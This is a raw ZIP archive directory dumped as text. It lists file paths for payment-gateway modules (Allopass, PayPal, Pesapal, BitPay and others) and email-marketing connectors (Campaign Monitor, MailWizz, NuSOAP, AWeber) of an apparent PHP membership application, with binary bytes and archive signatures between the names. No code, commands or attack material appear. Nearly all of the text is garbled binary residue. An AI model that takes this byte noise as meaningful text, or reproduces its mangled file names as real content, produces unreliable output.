payment/allopass/apikit/exception/AllopassApiConfFileMissingException.phpnu[PK\K9 payment/allopass/apikit/exception/AllopassApiMissingXMLFeatureException.phpnu[PK\kE payment/allopass/apikit/exception/AllopassApiRemoteErrorException.phpnu[PK\vS< payment/allopass/apikit/exception/AllopassApiMissingCompressionFeatureException.phpnu[PK\* )P payment/allopass/apikit/exception/AllopassApiFalseResponseSignatureException.phpnu[PK\MP payment/allopass/apikit/exception/AllopassApiConfAccountNotFoundException.phpnu[PK\;Ģ%" payment/allopass/apikit/conf/conf.xmlnu[PK\ѱE E 2% payment/allopass/apikit/tools/AllopassApiTools.phpnu[PK\{1. payment/allopass/apikit/model/AllopassKeyword.phpnu[PK\e46 payment/allopass/apikit/model/AllopassPricepoint.phpnu[PK\)S:WE payment/allopass/apikit/model/AllopassApiPlainResponse.phpnu[PK\LfQQ1H payment/allopass/apikit/model/AllopassApiConf.phpnu[PK\K(ͼ13b payment/allopass/apikit/model/AllopassWebsite.phpnu[PK\B(0Pi payment/allopass/apikit/model/AllopassMarket.phpnu[PK\;u8/o payment/allopass/apikit/model/AllopassPrice.phpnu[PK\_mDv payment/allopass/apikit/model/AllopassSubscriptionDetailResponse.phpnu[PK\P4C payment/allopass/apikit/model/AllopassTransactionDetailResponse.phpnu[PK\q\E payment/allopass/apikit/model/AllopassOnetimeValidateCodesRequest.phpnu[PK\۫\> payment/allopass/apikit/model/AllopassOnetimeButtonRequest.phpnu[PK\9D payment/allopass/apikit/model/AllopassTransactionMerchantRequest.phpnu[PK\eBV payment/allopass/apikit/model/AllopassTransactionDetailRequest.phpnu[PK\.~I0i payment/allopass/apikit/model/AllopassPayout.phpnu[PK\> payment/allopass/apikit/model/AllopassProductDetailRequest.phpnu[PK\.1 payment/allopass/apikit/model/AllopassProduct.phpnu[PK\1C payment/allopass/apikit/model/AllopassSubscriptionDetailRequest.phpnu[PK\uF payment/allopass/apikit/model/AllopassOnetimeDiscreteButtonRequest.phpnu[PK\mD/, payment/allopass/apikit/model/AllopassOffer.phpnu[PK\ʣB^ payment/allopass/apikit/model/AllopassSubscriptionLoginRequest.phpnu[PK\U+5s payment/allopass/apikit/model/AllopassPeriodicity.phpnu[PK\I$kkC payment/allopass/apikit/model/AllopassSubscriptionLoginResponse.phpnu[PK\z#1 payment/allopass/apikit/model/AllopassCountry.phpnu[PK\Kss<!payment/allopass/apikit/model/AllopassApiMappingResponse.phpnu[PK\1 !payment/allopass/apikit/model/AllopassPartner.phpnu[PK\37374*!payment/allopass/apikit/model/AllopassApiRequest.phpnu[PK\ȴ/GF!payment/allopass/apikit/model/AllopassOnetimeDiscretePricingRequest.phpnu[PK\fGb b DM!payment/allopass/apikit/model/AllopassTransactionPrepareResponse.phpnu[PK\l).Y!payment/allopass/apikit/model/AllopassCode.phpnu[PK\, , @&a!payment/allopass/apikit/model/AllopassOnetimePricingResponse.phpnu[PK\C0l!payment/allopass/apikit/model/AllopassRegion.phpnu[PK\pӂf5q!payment/allopass/apikit/model/AllopassApiResponse.phpnu[PK\5Fy!payment/allopass/apikit/model/AllopassOnetimeValidateCodesResponse.phpnu[PK\iSa++5U!payment/allopass/apikit/model/AllopassPhoneNumber.phpnu[PK\||.!payment/allopass/apikit/model/AllopassDate.phpnu[PK\GLC\!payment/allopass/apikit/model/AllopassTransactionPrepareRequest.phpnu[PK\>?~!payment/allopass/apikit/model/AllopassOnetimePricingRequest.phpnu[PK\d?}!payment/allopass/apikit/model/AllopassOnetimeButtonResponse.phpnu[PK\L ?!payment/allopass/apikit/model/AllopassProductDetailResponse.phpnu[PK\5Bƨe7e7+!payment/allopass/apikit/api/AllopassAPI.phpnu[PK\)jj!payment/twocheckout.phpnu[PK\ FyE P P_"payment/paypal.phpnu[PK\eyy "payment/postfinance.phpnu[PK\h"payment/robokassa.phpnu[PK\~,.,."payment/xfers.phpnu[PK\b֨## #payment/mollie.phpnu[PK\|&&'#payment/pesapal/pesapal.phpnu[PK\g`Y`YN#payment/pesapal/OAuth.phpnu[PK\kk-#payment/pesapal/payment-pesapal-pending.phtmlnu[PK\o>-W#payment/pesapal/payment-pesapal-confirm.phtmlnu[PK\L~##w#payment/paypro.phpnu[PK\5#payment/ccnow.phpnu[PK\#.&&#payment/fastspring.phpnu[PK\ o%% $payment/inet-cash/inet-cash.phpnu[PK\9)0$payment/inet-cash/scripts/inet-cash.phtmlnu[PK\''1$payment/ideal/ideal.phpnu[PK\{^qUY$payment/ideal/public/style.cssnu[PK\,`5h\$payment/ideal/public/ideal.gifnu[PK\qvvGpayment/dibs.phpnu[PK\ZOOJGpayment/flexpay.phpnu[PK\tGpayment/payssion/lib/cacert.pemnu[PK\'Kpayment/payssion/lib/PayssionClient.phpnu[PK\ j=='Kpayment/payssion/scripts/payssion.phtmlnu[PK\P\++]Kpayment/payssion/payssion.phpnu[PK\/1Lpayment/warrior-payments.phpnu[PK\T\Lpayment/avangate.phpnu[PK\!!2Lpayment/payu.phpnu[PK\RC""ULpayment/molpay.phpnu[PK\otA> > AxLpayment/securetrading.phpnu[PK\J{;2;2ȅLpayment/bitpay.phpnu[PK\[ELpayment/limelight.phpnu[PK\Lpayment/migs.phpnu[PK\ ##*Lpayment/sliiing/sliiing.phpnu[PK\s1-%Lpayment/sliiing/scripts/sliiing-confirm.phtmlnu[PK\RIRr wMpayment/internet-secure.phpnu[PK\v@- - Y Mpayment/payflow-link.phpnu[PK\ZIMpayment/dalpay-checkout.phpnu[PK\v##)7Mpayment/paypal-plus/scripts/confirm.phtmlnu[PK\ ''#9Mpayment/paypal-plus/paypal-plus.phpnu[PK\iYYUaMpayment/gocardless.phpnu[PK\JXMpayment/deal-guardian.phpnu[PK\O"Npayment/selz/scripts/selz.phtmlnu[PK\r0..}Npayment/selz/selz.phpnu[PK\%##gNpayment/coinsnap.phpnu[PK\u u Opayment/multicards.phpnu[PK\MN!Opayment/netbilling-form.phpnu[PK\@ E6E6~=Opayment/paypal-express.phpnu[PK\ >9Qcampaignmonitor/lib/csrest_transactional_classicemail.phpnu[PKq\DZI-Qcampaignmonitor/lib/csrest_administrators.phpnu[PKq\E[##'Qcampaignmonitor/lib/csrest_segments.phpnu[PKq\sky5Rcampaignmonitor/lib/csrest_transactional_timeline.phpnu[PKq\ o3ss${*Rcampaignmonitor/lib/csrest_lists.phpnu[PKq\_6lx+x+*oRcampaignmonitor/lib/csrest_subscribers.phpnu[PKq\;yy(ARcampaignmonitor/lib/csrest_templates.phpnu[PKq\ZBii!Rcampaignmonitor/lib/class/log.phpnu[PKq\I|'.'.*Rcampaignmonitor/lib/class/base_classes.phpnu[PKq\+׹(MScampaignmonitor/lib/class/exceptions.phpnu[PKq\+Scampaignmonitor/lib/class/serialisation.phpnu[PKq\<~?55'!Scampaignmonitor/lib/class/transport.phpnu[PKq\+WScampaignmonitor/lib/class/services_json.phpnu[PKq\@oQQ$JScampaignmonitor/lib/class/cacert.pemnu[PKq\7h%h%&Wcampaignmonitor/lib/csrest_general.phpnu[PKq\.KtRR&Wcampaignmonitor/lib/csrest_clients.phpnu[PKq\/\3\3#'Xcampaignmonitor/campaignmonitor.phpnu[PKq\QUU ~[Xsendgrid3.phpnu[PKq\<ڈυ%%lXautoresponderpro.phpnu[PKq\-H ّXofficeautopilot.phpnu[PKq\yi8 8 Xaweber-email.phpnu[PKq\Of f 'Xmailjet.phpnu[PKq\V""ȲXsmtp.phpnu[PKq\bee"Xconstant-contact/cc_class.phpnu[PKq\NT. %ԂYconstant-contact/constant-contact.phpnu[PKq\P{PP Ymailchimp.phpnu[PKq\xKKYget-response.phpnu[PKq\l 0Ygetdrip.phpnu[PKq\i؜!Yconvertkit.phpnu[PKq\M:Ysharp-spring.phpnu[PKq\  Znuevomailer.phpnu[PKq\+HV Zautopilot.phpnu[PKq\`Rx'Zactivecampaign.phpnu[PKq\G22 DZicontact.phpnu[PKq\:O} } wZsendgrid.phpnu[PKq\]B |Zlistmail.phpnu[PKq\C {ӜZmailwizz/MailWizzApi/Config.phpnu[PKq\zz[[Zmailwizz/MailWizzApi/Json.phpnu[PKq\7  #[mailwizz/MailWizzApi/Autoloader.phpnu[PKq\5 '"[mailwizz/MailWizzApi/ParamsIterator.phpnu[PKq\3:33+j[mailwizz/MailWizzApi/Endpoint/Customers.phpnu[PKq\8Ƅ+[mailwizz/MailWizzApi/Endpoint/Countries.phpnu[PKq\h 4QPP+![mailwizz/MailWizzApi/Endpoint/Templates.phpnu[PKq\j+2[mailwizz/MailWizzApi/Endpoint/Campaigns.phpnu[PKq\-a,J[mailwizz/MailWizzApi/Endpoint/ListFields.phpnu[PKq\Pb.P[mailwizz/MailWizzApi/Endpoint/ListSegments.phpnu[PKq\W  5U[mailwizz/MailWizzApi/Endpoint/TransactionalEmails.phpnu[PKq\t+%v v 1dc[mailwizz/MailWizzApi/Endpoint/ListSubscribers.phpnu[PKq\0֋';[mailwizz/MailWizzApi/Endpoint/Lists.phpnu[PKq\2%N[mailwizz/MailWizzApi/license/json.txtnu[PKq\o ==1H[mailwizz/MailWizzApi/license/mailwizz-php-sdk.txtnu[PKq\f2zz-[mailwizz/MailWizzApi/license/yiiframework.txtnu[PKq\6"[mailwizz/MailWizzApi/Cache/Apc.phpnu[PKq\$[mailwizz/MailWizzApi/Cache/Dummy.phpnu[PKq\jr %[mailwizz/MailWizzApi/Cache/Xcache.phpnu[PKq\{{*~[mailwizz/MailWizzApi/Cache/data/index.htmlnu[PKq\Oo7'S[mailwizz/MailWizzApi/Cache/Abstract.phpnu[PKq\T<66#8[mailwizz/MailWizzApi/Cache/File.phpnu[PKq\=(b,b,'[mailwizz/MailWizzApi/Cache/Database.phpnu[PKq\$7s++z\mailwizz/MailWizzApi/Params.phpnu[PKq\2k܀((2\mailwizz/MailWizzApi/Base.phpnu[PKq\R^/$\[\mailwizz/MailWizzApi/Http/Client.phpnu[PKq\&Ak\mailwizz/MailWizzApi/Http/Response.phpnu[PKq\(#(#%>\mailwizz/MailWizzApi/Http/Request.phpnu[PKq\p@ll\mailwizz/mailwizz.phpnu[PKq\%!?(l\superwebmailer/lib/class.soap_server.phpnu[PKq\ Cjj\]superwebmailer/lib/nusoap.phpnu[PKq\!22!asuperwebmailer/lib/class.wsdl.phpnu[PKq\YO&bsuperwebmailer/lib/class.wsdlcache.phpnu[PKq\›m'Tcsuperwebmailer/lib/class.soapclient.phpnu[PKq\Yt::!?csuperwebmailer/lib/nusoapmime.phpnu[PKq\ɧ&Zcsuperwebmailer/lib/class.xmlschema.phpnu[PKq\\0WTdsuperwebmailer/lib/class.soap_transport_http.phpnu[PKq\V%uesuperwebmailer/lib/class.soap_val.phpnu[PKq\6' esuperwebmailer/lib/class.soap_fault.phpnu[PKq\(*b*b(esuperwebmailer/lib/class.soap_parser.phpnu[PKq\3pKwesuperwebmailer/lib/changelognu[PKq\i<~-r-r((fsuperwebmailer/lib/class.nusoap_base.phpnu[PKq\ߑBB!fsuperwebmailer/superwebmailer.phpnu[PKq\7 fmadmimi.phpnu[PKq\YЪ  farp.phpnu[PKq\hoRR "fmaropost.phpnu[PKq\ҭww fsendy.phpnu[PKq\$t=t=`factivecampaign-full.phpnu[PKq\$mm=ginterspire.phpnu[PKq\,vv \gmailget.phpnu[PKq\Fwngaweber/aweber.phpnu[PKq\ͺЇgaweber/api.phpnu[PKq\gg  pharpreach.phpnu[PKq\> Âhmailerlite.phpnu[PKllh